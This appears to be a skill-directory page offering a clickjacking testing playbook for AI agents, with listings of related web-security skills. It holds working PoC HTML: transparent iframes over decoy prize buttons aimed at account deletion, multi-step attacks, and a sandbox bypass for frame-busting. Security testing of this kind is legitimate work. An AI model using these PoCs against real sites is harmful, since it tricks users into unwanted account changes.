菜单
Clickjacking playbook. Use when testing whether target pages can be framed, whether X-Frame-Options or CSP frame-ancestors are properly configured, and whether UI redress attacks can trigger sensitive actions.
用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
Entry P1 category router for API security. Use when choosing between API recon, authorization, token abuse, and hidden-parameter workflows before any deeper API topic skill.
Complete bug bounty workflow — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gate
Automate low-impact web vulnerability verification through Burp MCP. Use when Codex is asked to check, reproduce, triage, or write evidence for vulnerabilities using Burp Suite proxy history, Repeater, Collaborator/OOB payloads, HTTP replay, parameter mutation, response diffing, or scanner issues. Also use for mini program/微信小程序 Burp history, wildcard domains like *.example.com, root-domain traffic reviews, arbitrary login/任意登录, session_key/sessionKey/sessionkey/session-key/session key/sess_key/sessKey/wxSessionKey/wx_session_key/wechatSessionKey/thirdSessionKey/decryptKey/openDataKey, jscode2Session/jscode2session/code2Session, openid/unionid, getPhoneNumber, encryptedData/iv, appSecret, or phone-login checks; in those cases enumerate all Hosts and search response bodies for WeChat session leaks before reporting no issue.
CORS misconfiguration testing playbook. Use when analyzing cross-origin trust, credentialed browser reads, origin reflection, null origin, JSONP hijacking, preflight policy bugs, and browser-based access to authenticated APIs.
CRLF injection playbook. Use when user input reaches HTTP response headers, Location redirects, Set-Cookie values, or log files where carriage-return/line-feed characters can split or inject content.
CSV/spreadsheet formula injection (DDE, Excel/LibreOffice, Google Sheets IMPORT*). Use when exports, imports, or user fields feed spreadsheets or reporting tools.
基于 SOC 职业分类
| name | clickjacking |
| description | Clickjacking playbook. Use when testing whether target pages can be framed, whether X-Frame-Options or CSP frame-ancestors are properly configured, and whether UI redress attacks can trigger sensitive actions. |
AI LOAD INSTRUCTION: Clickjacking (UI redress) techniques. Covers iframe transparency tricks, X-Frame-Options bypass, CSP frame-ancestors, multi-step clickjacking, drag-and-drop attacks, and chaining with other vulnerabilities. Often a "low severity" finding that becomes critical when targeting admin actions.
| Signal | Probe | Why |
|---|---|---|
| Sensitive action page? | List pages with state-changing actions (delete, transfer, role change) | High-value clickjacking targets |
| X-Frame-Options present? | Check response headers for XFO: DENY / SAMEORIGIN / absent | Absent or misconfigured = frameable |
| CSP frame-ancestors present? | Check for frame-ancestors 'none' / 'self' / absent | Supersedes XFO in modern browsers |
| Load in iframe? | Create <iframe src="https://target/sensitive-action"> | Page loads = frameable = vulnerable |
| Frameable? | Build transparent iframe PoC with decoy button | Confirms exploitable clickjacking |
# Quick test — check framing headers
curl -sI https://target/account/delete | grep -i "x-frame-options\|content-security-policy"
Clickjacking loads a target page in a transparent iframe overlaid on an attacker's page. The victim sees the attacker's UI but clicks on the invisible target page, performing unintended actions.
<style>
iframe { position: absolute; top: 0; left: 0; width: 100%; height: 100%; opacity: 0.0001; z-index: 2; }
.decoy { position: absolute; top: 200px; left: 100px; z-index: 1; }
</style>
<div class="decoy"><button>Click to win a prize!</button></div>
<iframe src="https://target.com/account/delete?confirm=yes"></iframe>
X-Frame-Options: DENY → cannot be framed (secure)
X-Frame-Options: SAMEORIGIN → only same-origin framing (secure for cross-origin)
X-Frame-Options: ALLOW-FROM uri → deprecated, browser support inconsistent
(header absent) → frameable! (vulnerable)
Content-Security-Policy: frame-ancestors 'none' → cannot be framed
Content-Security-Policy: frame-ancestors 'self' → same-origin only
Content-Security-Policy: frame-ancestors https://a.com → specific origin
(directive absent) → frameable
CSP frame-ancestors supersedes X-Frame-Options in modern browsers.
<iframe src="https://target.com/sensitive-action" width="800" height="600"></iframe>
If the page loads in the iframe → frameable → potentially vulnerable.
// Common frame-busting code found in target pages:
if (top.location.hostname !== self.location.hostname) {
top.location.href = self.location.href;
}
If this code is present but not using CSP frame-ancestors, it can often be bypassed.
<html>
<head><title>Free Prize</title></head>
<body>
<h1>Click the button to claim your prize!</h1>
<style>
iframe { position: absolute; top: 300px; left: 60px;
width: 500px; height: 200px; opacity: 0.0001; z-index: 2; }
</style>
<iframe src="https://target.com/account/settings?action=delete"></iframe>
</body>
</html>
For actions requiring multiple clicks (e.g., "Are you sure?" confirmation):
<div id="step1">
<button onclick="document.getElementById('step1').style.display='none';
document.getElementById('step2').style.display='block';">
Step 1: Click here
</button>
</div>
<div id="step2" style="display:none">
<button>Step 2: Confirm</button>
</div>
<iframe src="https://target.com/admin/action"></iframe>
Reposition iframe for each step to align the transparent button with the decoy.
Extract data from one iframe to another using HTML5 drag-and-drop events — the victim drags across invisible iframes, transferring tokens or data.
Some pages use JavaScript frame-busting:
if (top !== self) { top.location = self.location; }
Bypass with sandbox attribute:
<iframe src="https://target.com" sandbox="allow-forms allow-scripts"></iframe>
<!-- sandbox without allow-top-navigation prevents frame-busting -->
ALLOW-FROM is not supported in Chrome/Safari. If the server relies solely on ALLOW-FROM, modern browsers ignore it → page is frameable.
If X-Frame-Options: SAMEORIGIN is set, but a same-origin page exists that can be framed (without XFO), use that page as an intermediary to frame the target.
Account deletion page
Email/password change form
Admin panel actions (add user, change role)
Payment confirmation
OAuth authorization ("Allow" button)
Two-factor authentication disable
API key generation
Webhook configuration
Page has sensitive action (delete account, change email, admin)?
├── X-Frame-Options header present?
│ ├── DENY or SAMEORIGIN → cannot frame cross-origin (check CSP too)
│ └── Missing or ALLOW-FROM → frameable
├── CSP frame-ancestors directive present?
│ ├── 'none' or 'self' → cannot frame cross-origin
│ └── Missing → frameable
├── Page loads in iframe?
│ ├── No → frame-busting script detected?
│ │ ├── Yes → try sandbox="allow-forms allow-scripts" bypass
│ │ └── No → XFO/CSP blocks framing → not vulnerable
│ └── Yes → framing allowed
│ ├── Single-click action → build basic transparent iframe PoC
│ ├── Multi-step action → build multi-click PoC with repositioned iframe
│ └── Data to extract → drag-and-drop clickjacking PoC
└── Not frameable but subdomain has XSS?
└── Use subdomain XSS as same-origin staging point
| Tool | Use Case |
|---|---|
browser_agent_inspect | Inspect target pages for X-Frame-Options and CSP frame-ancestors headers |
http_framework_test | Craft custom HTTP requests to test framing behavior and header configurations |
http_repeater | Replay requests to verify header responses across different endpoints |
□ Check X-Frame-Options header on sensitive pages
□ Check CSP frame-ancestors directive
□ Create iframe PoC and verify page loads
□ Test frame-busting scripts — try sandbox attribute bypass
□ Identify high-value single-click actions
□ For multi-step actions, build multi-click PoC
□ Test both authenticated and unauthenticated pages
□ Verify ALLOW-FROM behavior across browsers